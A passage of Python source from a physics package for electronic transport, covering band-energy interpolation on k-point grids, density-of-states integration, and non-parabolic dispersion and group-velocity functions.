# bounds as most methods cannot handle extrapolation (by increasing
# their grid point sampling one extends towards BZ edge and thus need to
# extrapolate)
# one easy way to do this is to modify the basis such that it goes from
# +/- the original grids endpoints (as these seldom fall at the BZ edge).
#
# calculate correction vector used to rescale the reciprocal unitcell
# and obtain a new real unitcell that is passed to spglib for grid
# generation, in this way the endpoints of the original point is
# included
# WE ONLY DO THIS IF kpoint_mesh IS None
if kpoint_mesh is None:
lattice_old = copy.deepcopy(self.lattice)
# sets if we should use the old scaling factor (problems with
# even grids), the new approach is tested and should allow
# to use even and odd grids
old_scaling_factor = False
if itype != "skw":
logger.info("The kpoint mesh have been adjusted in the "
"interpolation routines and sqeezed into the "
"original bz zone to avoid extrapolation issues. "
"Be carefull when modifying this grid in the "
"future.")
if old_scaling_factor:
# calculate scaling factor
# need to make sure that all min/max points along each
# direction of the direct grid is within the original,
# the scaling factor is the largest factor returned from
# this scaling
direct_width_bz_old = (ksampling - 1) / \
(ksampling.astype(dtype="double"))
direct_width_bz_new = (iksampling - 1) / \
(iksampling.astype(dtype="double"))
dvec = direct_width_bz_old / direct_width_bz_new
else:
kmin_old = np.zeros(3)
kmax_old = np.zeros(3)
kmesh = self.lattice.fetch_kmesh(direct=True)
# store the min and max for each direction of the old
# grid
for i in range(3):
kmin_old[i] = np.amin(kmesh[:, i])
kmax_old[i] = np.amax(kmesh[:, i])
# call spglib to generate grid
self.lattice.create_kmesh(iksampling, borderless=True)
if not old_scaling_factor:
ratio = np.zeros(6)
kmesh = self.lattice.fetch_kmesh(direct=True)
# if the new grid extens outside
# the previously calculated min and max values
# calculate the ration, the biggest of which
# will scale the whole grid so that it is inside their
# original boundry
for i in range(3):
ratio[i] = np.amin(kmesh[:, i]) / kmin_old[i]
ratio[i + 3] = np.amax(kmesh[:, i]) / kmax_old[i]
# no ratios should be negative
if np.any(ratio) < 0:
logger.error("The ratio of the minimum and "
"maximum between the old and new "
"k-point grid is negative. Please "
"check your grids. Exiting.")
sys.exit(1)
# find largest and set scaling
dvec = 1.0 / np.amax(ratio)
# now this is the crucial part, scale the grid by
# dvec to pull it inside the borders
dvec = (1 - 1e-6) * dvec
self.lattice.kmesh = self.lattice.kmesh * dvec
# sometimes the IBZ grid does not exist
if self.lattice.kmesh_ired is not None:
self.lattice.kmesh_ired = self.lattice.kmesh_ired * dvec
# use direct for Wildmagic, cartesian
# for the rest
if itype == "wildmagic":
if wildmagic_direct:
new_grid = self.lattice.fetch_kmesh(direct=True)
else:
new_grid = self.lattice.fetch_kmesh(direct=False)
else:
new_grid = self.lattice.fetch_kmesh(direct=False)
else:
new_grid = old_grid
else:
new_grid = kpoint_mesh
num_new_kpoints = new_grid.shape[0]
num_bands = energies.shape[0]
ien = np.zeros((num_bands, num_new_kpoints), dtype=np.double)
if gen_velocities or ivelocities:
ivel1 = np.zeros((num_bands, num_new_kpoints), dtype=np.double)
ivel2 = np.zeros((num_bands, num_new_kpoints), dtype=np.double)
ivel3 = np.zeros((num_bands, num_new_kpoints), dtype=np.double)
# loop bands for python stuff, otherwise do loop of bands inside C
# routines
if itype in ("linearnd", "interpn", "rbf"): # pylint: disable=too-many-nested-blocks
for band in range(num_bands):
ien_band = None
ivel1_band = None
ivel2_band = None
ivel3_band = None
if itype == "linearnd":
logger.info(
"Interpolating using Scipy LinearNDInterpolator.")
intere = scipy.interpolate.LinearNDInterpolator(
old_grid, energies[band])
ien_band = intere(new_grid)
if ivelocities:
intervel1 = scipy.interpolate.LinearNDInterpolator(
old_grid, velocities[band][0])
intervel2 = scipy.interpolate.LinearNDInterpolator(
old_grid, velocities[band][1])
intervel3 = scipy.interpolate.LinearNDInterpolator(
old_grid, velocities[band][2])
ivel1_band = intervel1(new_grid)
ivel2_band = intervel2(new_grid)
ivel3_band = intervel3(new_grid)
if itype == "interpn":
logger.info("Interpolating using Scipy interpn.")
old_grid_unit_vecs = self.lattice.fetch_kmesh_unit_vecs(
direct=False)
kxp, kyp, kzp = old_grid_unit_vecs
eshape = energies[band].reshape(ksampling_old[0],
ksampling_old[1],
ksampling_old[2])
possible_methods = ["nearest", "linear"]
if itype_sub not in possible_methods:
options = ', '.join(map(str, possible_methods))
logger.error(
"The specified itype_sub is not recognized "
"by the interpn method, please consult the "
"Scipy documentation for valid flags. "
"Possible flags for itype_sub are: %s. Exiting.",
options)
sys.exit(1)
ien_band = scipy.interpolate.interpn((kxp, kyp, kzp),
eshape,
new_grid,
method=itype_sub)
if ivelocities:
vel1shape = velocities[band][0].reshape(
ksampling_old[0], ksampling_old[1],
ksampling_old[2])
vel2shape = velocities[band][1].reshape(
ksampling_old[0], ksampling_old[1],
ksampling_old[2])
vel3shape = velocities[band][2].reshape(
ksampling_old[0], ksampling_old[1],
ksampling_old[2])
ivel1_band = scipy.interpolate.interpn(
(kxp, kyp, kzp),
vel1shape,
new_grid,
method=itype_sub)
ivel2_band = scipy.interpolate.interpn(
(kxp, kyp, kzp),
vel2shape,
new_grid,
method=itype_sub)
ivel3_band = scipy.interpolate.interpn(
(kxp, kyp, kzp),
vel3shape,
new_grid,
method=itype_sub)
if itype == "rbf":
logger.info("Interpolating using Scipy RBF.")
# this RBF routine uses crazy amounts of memory
kx_old, ky_old, kz_old = old_grid.T
kx_new, ky_new, kz_new = new_grid.T
if itype_sub not in constants.rbf_functions:
options = ', '.join(map(str, constants.rbf_functions))
logger.error(
"The specified itype_sub is not recognized "
"by the Rbf method, please consult the Scipy "
"documentation for valid flags. Possible flags "
"for itype_sub are: %s. Exiting.", options)
sys.exit(1)
# force Rbf to go through the original points
smooth = 0.0
intere = scipy.interpolate.Rbf(kx_old,
ky_old,
kz_old,
energies[band],
function=itype_sub,
smooth=smooth)
ien_band = intere(kx_new, ky_new, kz_new)
if ivelocities:
intervel1 = scipy.interpolate.Rbf(kx_old,
ky_old,
kz_old,
velocities[band][0],
function=itype_sub,
smooth=smooth)
ivel1_band = intervel1(kx_new, ky_new, kz_new)
intervel2 = scipy.interpolate.Rbf(kx_old,
ky_old,
kz_old,
velocities[band][1],
function=itype_sub,
smooth=smooth)
ivel2_band = intervel2(kx_new, ky_new, kz_new)
intervel3 = scipy.interpolate.Rbf(kx_old,
ky_old,
kz_old,
velocities[band][2],
function=itype_sub,
smooth=smooth)
ivel3_band = intervel3(kx_new, ky_new, kz_new)
ien[band] = ien_band
if ivelocities:
ivel1[band] = ivel1_band
ivel2[band] = ivel2_band
ivel3[band] = ivel3_band
# again loop over bands in the C code
if itype == "wildmagic":
if itype_sub not in constants.wildmagic_methods:
options = ', '.join(map(str, constants.wildmagic_methods))
logger.error(
"The specified itype_sub is not recognized by "
"the Wildmagic method, please consult the "
"Wildmagic documentation for valid flags. "
"Possible flags for itype_sub are: %s. Exiting.", options)
sys.exit(1)
logger.info("Interpolating using Wildmagic/GeometricTools.")
# lazy import of wildmagic (optional)
import t4me.wildmagic as wildmagic # pylint: disable=import-error, no-name-in-module
# set boundary conditions
bz_border = old_bz_border
domainx = np.ascontiguousarray(
np.array([bz_border[0], bz_border[1]], dtype=np.double))
domainy = np.ascontiguousarray(
np.array([bz_border[2], bz_border[3]], dtype=np.double))
domainz = np.ascontiguousarray(
np.array([bz_border[4], bz_border[5]], dtype=np.double))
new_grid_trans = new_grid.T
ix = np.ascontiguousarray(new_grid_trans[0], dtype="double")
iy = np.ascontiguousarray(new_grid_trans[1], dtype="double")
iz = np.ascontiguousarray(new_grid_trans[2], dtype="double")
if itype_sub == "trilinear":
if gen_velocities:
wildmagic.trilinear_gradient_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien, ivel1, ivel2, ivel3)
else:
wildmagic.trilinear_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien)
elif itype_sub == "tricubic_exact":
if gen_velocities:
wildmagic.tricubic_exact_gradient_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien, ivel1, ivel2, ivel3)
else:
wildmagic.tricubic_exact_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien)
elif itype_sub == "tricubic_bspline":
if gen_velocities:
wildmagic.tricubic_bspline_gradient_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien, ivel1, ivel2, ivel3)
else:
wildmagic.tricubic_bspline_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien)
elif itype_sub == "akima":
if gen_velocities:
wildmagic.akima_gradient_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien, ivel1, ivel2, ivel3)
else:
wildmagic.akima_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(energies, dtype="double"), ix, iy,
iz, ien)
else:
logger.error("The specified itype_sub is not recognized "
"by the wildmagic method, please consult the "
"wildmagic documentation for valid flags. "
"Possible flags for itype_sub are: "
"trilinear, tricubic_exact, tricubic_bspline "
"and akima. Exiting.")
sys.exit(1)
if ivelocities and not gen_velocities:
if itype_sub == "trilinear":
wildmagic.trilinear_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 0, :],
dtype=np.double), ix, iy, iz,
ivel1)
wildmagic.trilinear_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 1, :],
dtype=np.double), ix, iy, iz,
ivel2)
wildmagic.trilinear_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 2, :],
dtype=np.double), ix, iy, iz,
ivel3)
elif itype_sub == "tricubic_exact":
wildmagic.tricubic_exact_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 0, :],
dtype=np.double), ix, iy, iz,
ivel1)
wildmagic.tricubic_exact_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 1, :],
dtype=np.double), ix, iy, iz,
ivel2)
wildmagic.tricubic_exact_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 2, :],
dtype=np.double), ix, iy, iz,
ivel3)
elif itype_sub == "tricubic_bspline":
wildmagic.tricubic_bspline_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 0, :],
dtype=np.double), ix, iy, iz,
ivel1)
wildmagic.tricubic_bspline_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 1, :],
dtype=np.double), ix, iy, iz,
ivel2)
wildmagic.tricubic_bspline_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 2, :],
dtype=np.double), ix, iy, iz,
ivel3)
elif itype_sub == "akima":
wildmagic.akima_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 0, :],
dtype=np.double), ix, iy, iz,
ivel1)
wildmagic.akima_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 1, :],
dtype=np.double), ix, iy, iz,
ivel2)
wildmagic.akima_execute_interface(
ksampling_old, domainx, domainy, domainz,
np.ascontiguousarray(velocities[:, 2, :],
dtype=np.double), ix, iy, iz,
ivel3)
else:
logger.error("The specified itype_sub is not recognized "
"by the wildmagic method, please consult "
"the wildmagic documentation for valid "
"flags. Possible flags for itype_sub are: "
"trilinear, tricubic_exact, tricubic_bspline "
"and akima. Exiting.")
sys.exit(1)
if itype == "skw":
# lazy import of skw_interface (optional)
import t4me.skw_interface as skw_interface
logger.info("Interpolating using SKW.")
unitcell = self.lattice.unitcell
positions = self.lattice.positions
species = self.lattice.species
factor = self.param.skw_expansion_factor
ksampling = self.lattice.ksampling
# SKW works with the IBZ
# controlling the final SKW grid density is difficult,
# so just eat it...modifications to this later should be
# avoided
new_grid, ien, ivel, iksampling = skw_interface.\
interpolate(np.ascontiguousarray(energies, dtype="double"),
np.ascontiguousarray(
old_grid, dtype="double"),
np.ascontiguousarray(
ksampling, dtype="intc"),
np.ascontiguousarray(
unitcell, dtype="double"),
np.ascontiguousarray(
positions, dtype="double"),
np.ascontiguousarray(species, dtype="intc"),
factor)
else:
if gen_velocities or ivelocities:
# squeeze all individual directions into one array
ivel = np.zeros((ivel1.shape[0], 3, ivel1.shape[1]))
ivel[:, 0, :] = ivel1
ivel[:, 1, :] = ivel2
ivel[:, 2, :] = ivel3
# store in current object
if store_inter:
if iksampling is None:
logger.info(
"It is not possible to store the new interpolation "
"grid in the Lattice() object when iksampling is "
"not supplied. User beware that the grid and the "
"data for the energies and velocities might now "
"not be compatible. The grid data for the supplied "
"kpoint_mesh is not stored. Continuing.")
# the new grid is already in direct coordinates, but need
# the IBZ grid. SKW creates borderless kpoint meshes
if itype == "skw":
self.lattice.create_kmesh(iksampling, borderless=True)
np.seterr(divide='ignore', invalid='ignore')
if not np.all(
np.nan_to_num((self.lattice.kmesh - new_grid) /
new_grid) < self.param.symprec):
logger.error(
"The regenerated kpoint mesh from SPGLIB "
"does not match the output from the SKW "
"routines within symprec defined in params.yml. "
"Exiting.")
sys.exit(1)
self.energies = ien
if ivelocities or gen_velocities:
self.velocities = ivel
else:
self.velocities = None
# we should now have the velocities
# or gen_velocities was already False
self.gen_velocities = False
return None, None, None
if kpoint_mesh is None:
self.lattice = lattice_old
if ivelocities or gen_velocities:
return ien, ivel, new_grid
return ien, False, new_grid
def calc_density_of_states( # pylint: disable=too-many-locals # noqa: MC0001
self,
return_data=False,
num_samples=None,
auto_scale=False,
transport=False,
integral_method=None,
interpol_method=None,
interpol_type=None):
"""
Calculate the density of states.
Parameters
----------
return_data : boolean, optional
If True, return the density of states data instead of
storing it in the current `Bandstructure()` object. If False, set
`dos_energies`, `dos_partial` and `dos_total` in the current
`Bandstructure()` object.
num_samples : integers, optional
Number of energy samples. Necessary if auto_scale
is set. Otherwise the `dos_num_samples` in the parameter file
is used.
auto_scale : boolean, optional
If True, auto scale the energy axis to cover the supplied
band structure. Otherwise the `dos_e_min` and `dos_e_max` from
the parameter file is used to set up the energy range unless
`transport` is set which overrides this.
transport : bool, optional
Set to True if the density of states calculated are to be
used in transport calculations (i.e. to set up the scattering).
This ensures that the energy range covers the requested
range of chemical potential pluss / minus
'transport_energycutband' and is then padded with zeros
for the remaining values down and up to the minimum and
maximum values present in the `energies` entry of the
`Bandstructure()` object. Using this option make it possible
to calculate the density of states on a fine grid in the
relevant transport region.
integral_method : string, optional
The integration method used to calculate the DOS:
| "trapz" trapeziodal integration, uses :func:`scipy.integrate.trapz`
| "simps" simpson integration, uses :func:`scipy.integrate.simps`
| "romb" romberb integration, uses :func:`scipy.integrate.romb`
| "tetra" tetrahedron method, uses the linear tetrahedron method
implemented in
`Spglib <https://atztogo.github.io/spglib/>`_
(up to version 1.7.4) by <NAME>.
If not supplied, set according to `dos_integrating_method` in
the general configuration file.
Returns
-------
dos_energies : ndarray
| Dimension: (N)
Array containing the density of states energies, where N is
num_samples or set by the sampling determined in the
general configuration file if `auto_scale` is set to False.
dos_total : ndarray
| Dimension: (N)
Array containing the total density of states per volume unit (units
1 / eV / AA ^ 3) at N sampled energy points, where N is determined
from dos_energies.
dos_partial : ndarray
| Dimension: (M, N)
Array containing the partial (for each band index M) density
of states per volume unit (1 / eV / AA ^ 3) at N sampled energy
points, where N is determined from dos_energies.
See Also
--------
scipy.integrate.trapz
scipy.integrate.simps
scipy.integrate.romb
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running calc_density_of_states.")
# set some constants
num_bands = self.energies.shape[0]
# volume of reciprocal unit cell
volume_bz = np.linalg.det(self.lattice.runitcell)
# volume of the unit cell
volume = np.linalg.det(self.lattice.unitcell)
if integral_method is None:
integral_method = self.param.dos_integrating_method
if interpol_method is None:
try:
interpol_method = self.param.dos_interpolate_method
except AttributeError:
pass
if interpol_type is None:
try:
interpol_type = self.param.dos_interpolate_type
except AttributeError:
pass
# now, determine if the dos is to be used for transport
if transport:
logger.info("Adjusting the density of states energy "
"interval to "
"[transport_chempo_min-transport_energycutband:"
"transport_chempot_max+transport_energycutband]")
e_min = (self.param.transport_chempot_min -
self.param.transport_energycutband)
e_max = (self.param.transport_chempot_max +
self.param.transport_energycutband)
dos_energies = self.fetch_dos_energies(e_min=e_min, e_max=e_max)
else:
dos_energies = self.fetch_dos_energies(auto_scale=auto_scale)
num_samples = dos_energies.shape[0]
dos = np.zeros((num_bands, num_samples), dtype='double')
int_dos = np.zeros((num_bands, num_samples), dtype='double')
if integral_method in ("tetra", "smeared"):
# lazy import
import t4me.spglib_interface as spglib_interface # pylint: disable=import-error, no-name-in-module
# these routines only work on the IBZ grid, so
# check if ibz grid is not None
if self.lattice.kmesh_ired is None:
logger.error("The irreducible grid is not available. "
"This can for instance happen if the user have "
"preinterpolated the grid using a interpolation "
"routine where determining the IBZ is difficult. "
"Or if the user supplies numerical data without "
"mapping tables. Try one of the other "
"integration techniques. Exiting.")
sys.exit(1)
else:
num_kpoints_ibz = self.lattice.kmesh_ired.shape[0]
if integral_method == 'tetra':
weight_type = 0
smearing = 0.0
logger.debug("Running tetrahedron method.")
if self.param.read == "numpy":
logger.error(
"The tetrahedron method is not supported when "
"reading data from Numpy yet. Exiting.")
sys.exit(1)
else:
weight_type = 2
smearing = self.param.dos_smearing
logger.debug("Running smearing method.")
# here we call the weighted DOS routine (accepts IBZ
# data)
energies_ibz = np.take(self.energies,
self.lattice.mapping_ibz_to_bz,
axis=1)
spglib_interface.calc_density_of_states_interface(
energies_ibz, self.lattice.spg_kmesh,
np.ascontiguousarray(self.lattice.mapping_bz_to_ibz,
dtype='intc'),
np.ascontiguousarray(self.lattice.mapping_ibz_to_bz,
dtype='intc'),
np.ascontiguousarray(self.lattice.ibz_weights, dtype='intc'),
self.lattice.ksampling, self.lattice.runitcell, dos_energies,
num_samples, num_bands, num_kpoints_ibz, self.spin_degen,
volume, volume_bz, weight_type, smearing, dos, int_dos)
elif integral_method in ("trapz", "simps", "romb"):
logger.debug(
"Running trapeziodal, simpson or romberg integration.")
# fetch step size in direct coordinates and set Jacobian, which is
# needed since we perform the integration in direct coordinates
kx, ky, kz = self.lattice.fetch_kmesh_step_size(direct=True)
jacobian = np.linalg.det(self.lattice.runitcell)
# now if we want romberg, we need to check for add grid samples
# also make sure that kx, ky, kz is a float and the space between
# each point for romberb (only trapz and simps support array)
if integral_method == "romb":
if not utils.is_power_of_two(self.lattice.ksampling[0] - 1):
logger.error("User requests romberg integration, but "
"the samplings in the first direction is not "
"2^k - 1. Exiting.")
sys.exit(1)
if not utils.is_power_of_two(self.lattice.ksampling[1] - 1):
logger.error(
"User requests romberg integration, but "
"the samplings in the second direction is not "
"2^k - 1. Exiting.")
sys.exit(1)
if not utils.is_power_of_two(self.lattice.ksampling[2] - 1):
logger.error("User requests romberg integration, but "
"the samplings in the third direction is not "
"2^k - 1. Exiting.")
sys.exit(1)
for band in range(0, num_bands):
spin_factor = self.spin_degen[band]
energies_shaped = self.energies[band].reshape(
self.lattice.ksampling[0], self.lattice.ksampling[1],
self.lattice.ksampling[2])
for sample_index, sample_energy in np.ndenumerate(
dos_energies):
energies_smeared = gaussian(energies_shaped, sample_energy,
self.param.dos_smearing)
if integral_method == "trapz":
dos[band][sample_index] = spin_factor * \
scipy.integrate.trapz(
scipy.integrate.trapz(
scipy.integrate.trapz(
energies_smeared, dx=kz), dx=ky), dx=kx) / \
volume_bz / volume
elif integral_method == "simps":
dos[band][sample_index] = spin_factor * \
scipy.integrate.simps(
scipy.integrate.simps(
scipy.integrate.simps(
energies_smeared, dx=kz), dx=ky), dx=kx) / \
volume_bz / volume
elif integral_method == "romb":
dos[band][sample_index] = spin_factor * \
scipy.integrate.romb(
scipy.integrate.romb(
scipy.integrate.romb(
energies_smeared, dx=kz),
dx=ky), dx=kx) / \
volume_bz / volume
else:
logger.error("The supplied integral_method is not supported. "
"Use: 'tetra', 'trapz','simps' or 'romb'. "
"Exiting.")
sys.exit(1)
# add Jacobian (we integrate in direct coordinates)
dos = jacobian * dos
dos_total = dos.sum(-2)
if not return_data:
self.dos_partial = dos
self.dos = dos_total
self.dos_energies = dos_energies
return None, None, None
return dos_energies, dos_total, dos
def fetch_dos_energies(self,
e_min=None,
e_max=None,
num_samples=None,
auto_scale=False):
"""
Set up the energy array for density of states calculations.
Parameters
----------
e_min : float
The mininum energy in eV.
e_max : float
The maximum energy in eV.
num_samples : integer
The N number of samples between `e_min` and `e_max`.
auto_scale : boolean
If True, set the energy scale from the supplied band
structure, otherwise set the scale according to `e_min` and
`e_max`.
Returns
-------
ndarray
| Dimension: (N)
The N energies in eV where density of states calculations
are to be performed.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running fetch_dos_energies.")
if num_samples is None:
num_samples = self.param.dos_num_samples
if (e_min or e_max) is None:
if auto_scale:
# fetch maximum and minimum energy from the
# bandstructure and pad with 0.1 eV in order to catch
# the DOS head and tail
e_min = np.amin(self.energies) - 0.1
e_max = np.amax(self.energies) + 0.1
else:
e_min = self.param.dos_e_min
e_max = self.param.dos_e_max
return np.linspace(e_min, e_max, num_samples)
def fetch_min_max_energy(self):
"""
Returns the min and max of the energy in the current `Bandstructure()` object.
Parameters
----------
None
Returns
-------
emin : float
The minimum energy in eV located in the current `Bandstructure()`
object.
emax : float
The maximum energy in eV located in the current `Bandstructure()`
object.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running fetch_min_max_energy.")
emin = np.amin(self.energies)
emax = np.amax(self.energies)
return emin, emax
def gaussian(energy, energy_ref, smearing):
"""
Returns the value of a Gaussian function.
Parameters
----------
energy : float
The energy in eV.
energy_ref : float
The reference energy in eV.
smearing : float
The smearing factor in eV.
Returns
-------
float
The value in eV.
"""
energy_shifted = energy_ref - energy
return np.exp(-0.5 * np.power(energy_shifted / smearing, 2.0)) / \
(smearing * np.sqrt(2 * np.pi))
def non_parabolic_energy_1(k, effmass, a, scale, e0=0.0, kshift=None):
r"""
Calculates a energy dispersion, both parabolic and non-parabolic.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point coordinates (cartesian) where the
dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^2k^4` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
e0 : float, optional
Shift of the energy scale in eV.
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
ndarray
| Dimension: (N)
Contains the energy dispersion in eV at each N k-points.
Notes
-----
This routines calculates the energy dispersion according to
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+ak^4.
Setting :math:`a` to zero yields a parabolic
dispersion.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_energy_1.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k4 = np.power(np.sum(a * k2, axis=1), 2.0)
k2 = np.sum(k2 / effmass, axis=1)
return e0 + constants.bandunit * k2 + scale * k4
def non_parabolic_velocity_1(k, effmass, a, scale, kshift=None):
r"""
Calculates the group velocity for the energy dispersion generated in :func:`non_parabolic_energy_1`.
For both parabolic and non-parabolic bands.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point in cartesian coordinates where
the dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^2k^4` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
vx, vy, vz : ndarray, ndarray, ndarray
| Dimension: (N),(N),(N)
Contains the group velocity at each N k-points
for each direction defined by the direction of the k-point
unit axis. Units of eVAA.
Notes
-----
This routines calculates the group velocity according to
.. math:: v=\\frac{\\partial E}{\\partial \\vec{k}},
where
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+ak^4.
Setting :math:`a` to zero yields a parabolic dispersion
and thus its group velocity.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_velocity_1.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k2 = np.sum(a * k2, axis=1)
parabolic = np.divide(2.0 * constants.bandunit, effmass)
scaling = (parabolic + scale * 4.0 * np.column_stack(
(a[0] * k2, a[1] * k2, a[2] * k2))).T
spreadkz, spreadky, spreadkx = k.T[2], k.T[1], k.T[0]
vx = np.multiply(scaling[0], spreadkx)
vy = np.multiply(scaling[1], spreadky)
vz = np.multiply(scaling[2], spreadkz)
return vx, vy, vz
def non_parabolic_energy_3(k, effmass, a, scale, e0=0.0, kshift=None):
r"""
Calculates a k^2 + k^6 energy dispersion.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point coordinates (cartesian) where the
dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^4k^8` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
e0 : float, optional
Shift of the energy scale in eV.
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
ndarray
| Dimension: (N)
Contains the energy dispersion in eV at each N k-points.
Notes
-----
This routines calculates the energy dispersion according to
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+a^3k^6.
Setting :math:`a` to zero yields a parabolic
dispersion.
"""
# Set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_energy_3.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
ak2 = np.sum(a * k2, axis=1)
k6 = np.power(ak2, 3.0)
k2 = np.sum(k2 / effmass, axis=1)
return e0 + constants.bandunit * k2 + scale * k6
def non_parabolic_velocity_3(k, effmass, a, scale, kshift=None):
r"""
Calculates the group velocity for the energy dispersion generated in :func:`non_parabolic_energy_3`.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point in cartesian coordinates where
the dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^4k^8` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
vx, vy, vz : ndarray, ndarray, ndarray
| Dimension: (N),(N),(N)
Contains the group velocity at each N k-points
for each direction defined by the direction of the k-point
unit axis. Units of eVAA.
Notes
-----
This routines calculates the group velocity according to
.. math:: v=\\frac{\\partial E}{\\partial \\vec{k}},
where
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+a^3k^6.
Setting :math:`a` to zero yields a parabolic dispersion
and thus its group velocity.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_velocity_3.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k2 = np.sum(a * k2, axis=1)
k4 = np.power(k2, 2.0)
parabolic = np.divide(2.0 * constants.bandunit, effmass)
scaling = (parabolic + scale * 6.0 * np.column_stack(
(a[0] * k4, a[1] * k4, a[2] * k4))).T
spreadkz, spreadky, spreadkx = k.T[2], k.T[1], k.T[0]
vx = np.multiply(scaling[0], spreadkx)
vy = np.multiply(scaling[1], spreadky)
vz = np.multiply(scaling[2], spreadkz)
return vx, vy, vz
def non_parabolic_energy_4(k, effmass, a, scale, e0=0.0, kshift=None):
r"""
Calculates a k^2 + k^8 energy dispersion.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point coordinates (cartesian) where the
dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^4k^8` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
e0 : float, optional
Shift of the energy scale in eV.
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
ndarray
| Dimension: (N)
Contains the energy dispersion in eV at each N k-points.
Notes
-----
This routines calculates the energy dispersion according to
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+a^4k^8.
Setting :math:`a` to zero yields a parabolic
dispersion.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
